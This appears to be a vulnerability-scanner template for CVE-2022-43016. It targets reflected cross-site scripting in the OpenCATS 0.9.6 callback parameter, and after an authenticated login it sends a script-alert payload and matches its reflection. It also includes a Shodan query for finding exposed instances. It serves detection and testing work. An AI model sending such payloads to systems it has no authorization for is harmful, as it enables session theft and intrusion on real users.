id: CVE-2022-43016

info:
  name: OpenCATS 0.9.6 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS 0.9.6 contains a cross-site scripting vulnerability via the callback component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43016
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43016
    cwe-id: CWE-79
    epss-score: 0.00097
    epss-percentile: 0.40244
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query: title:"OpenCATS"
  tags: cve,cve2022,xss,opencats,authenticated

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /index.php?m=toolbar&callback=<script>alert(document.domain)</script>&a=authenticate HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'EVAL=<script>alert(document.domain)</script>'
          - 'cats_connected'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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